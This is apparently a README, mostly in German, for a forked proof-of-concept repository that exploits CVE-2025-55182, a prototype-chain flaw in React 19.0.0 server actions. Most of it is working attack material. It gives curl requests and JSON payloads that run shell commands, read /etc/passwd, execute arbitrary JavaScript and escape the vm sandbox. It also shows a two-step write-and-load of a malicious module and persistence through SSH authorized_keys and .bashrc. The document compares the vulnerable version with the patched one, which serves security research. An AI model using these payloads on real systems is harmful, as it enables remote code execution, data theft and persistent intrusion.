Dieser POC demonstriert CVE-2025-55182 anhand des tatsächlich verwundbaren Codes von `[email protected]`.
Dieser POC demonstriert CVE-2025-55182 anhand des tatsächlich anfälligen Codes von [email protected].
Dieses Repository ist ein Fork von https://github.com/ejpir/CVE-2025-55182-poc und wurde noch nicht verifiziert! Bitte seien Sie vorsichtig und prüfen Sie sorgfältig!
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
npm run start:module # Start module server (port 3003) - hypothetical, see note below
# Exploits (use with npm start)
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research # Prototype chain research
# Hypothetical exploits (use with start:module)
npm run exploit:module # Two-step RCE via module#_load
npm run exploit:indirect # Two-step RCE with proof file
Hinweis: Die
module-Exploits sind hypothetisch. Das eingebautemodulewird in Produktions-Apps selten gebündelt. Sie demonstrieren einen theoretischen Angriffspfad, wenn nurfs+moduleverfügbar sind (kein vm/child_process). In der Praxis haben Apps mitfsnormalerweise auchchild_processüber Abhängigkeiten wie sharp, puppeteer oder execa.
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| Datei | Port | Beschreibung |
|---|---|---|
src/server-realistic.js | 3002 | Hauptserver - simuliert ein Webpack-Bundle mit gängigen Modulen (fs, vm, child_process) |
src/server.js | 3002 | Legacy-Server (verwendet direktes require) |
src/server-module-test.js | 3003 | Server mit module + fs (für Forschung) |
| Datei | Beschreibung |
|---|---|
exploit-rce-v4.js | Primärer RCE über vm#runInThisContext |
exploit-all-gadgets.js | Testet alle RCE-Gadgets (vm, child_process, fs) |
exploit-module-load.js | Zwei-Schritte-RCE über fs + module#_load |
exploit-indirect-rce.js | Zwei-Schritte-RCE mit Erstellung einer Beweisdatei |
exploit-persistence.js | Persistenzangriffe (SSH-Schlüssel, .bashrc) |
exploit-research.js | Prototype-Chain-Forschung |
Simuliert ein echtes Webpack-Bundle, bei dem Apps über Abhängigkeiten häufig gefährliche Module bündeln:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
Die Funktion __webpack_require__ lädt Module nur aus BUNDLED_MODULES und simuliert damit das reale Webpack-Verhalten.
In requireModule() wird auf Exporte über die Klammernotation ohne hasOwnProperty-Prüfung zugegriffen:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 mit gebundenen Aktions-Metadatenid: 'vm#runInThisContext' lädt das vm-Modul und greift auf den Export runInThisContext zubound-Array wird zu Argumenten der FunktionrunInThisContext(CODE) beliebigen Code aus| Gadget | Status | Beschreibung |
|---|---|---|
vm#runInThisContext | ✓ | Beliebigen JS-Code im aktuellen Kontext ausführen |
vm#runInNewContext | ✓ | In einer „Sandbox“ ausführen (leicht zu umgehen) |
child_process#execSync | ✓ | Direkte Ausführung von Shell-Befehlen |
child_process#execFileSync | ✓ | Binärdateien ausführen |
child_process#spawnSync | ✓ | Prozess starten (gibt Objekt zurück) |
module#_load | ✓ | JS-Datei laden und ausführen (2 Schritte mit fs) |
fs#readFileSync | ✓ | Beliebige Dateien lesen |
fs#writeFileSync | ✓ | Beliebige Dateien schreiben |
Shell-Befehl ausführen (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
Sensible Dateien lesen:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
Dateien auf die Festplatte schreiben:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
Beliebigen JavaScript-Code ausführen:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
Sandbox-Escape (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
Für direkten RCE: Ja, Sie benötigen eines von:
vm-Modul (runInThisContext, runInNewContext)child_process-Modul (execSync, execFileSync, spawnSync)Für indirekten RCE (nur fs): Nein! Mit nur fs können Sie:
~/.ssh/authorized_keys schreiben → SSH-Zugriff~/.bashrc anhängen → Codeausführung beim nächsten Loginnode_modules/* überschreiben → RCE beim Neustart der Apppackage.json ändern → RCE bei der nächsten npm-InstallationHinweis: Dies ist hypothetisch. Das eingebaute
modulewird in Produktion selten gebündelt.
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!
| Version | Angriff | Ergebnis |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE erreicht |
| React 19.2.1 | vm#runInThisContext | ✗ Blockiert |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
Siehe VULNERABLE-PACKAGES.md für Untersuchungen zu beliebten npm-Paketen, die gefährliche Module enthalten:
| Modul | Wöchentliche Downloads | Beliebte Pakete |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |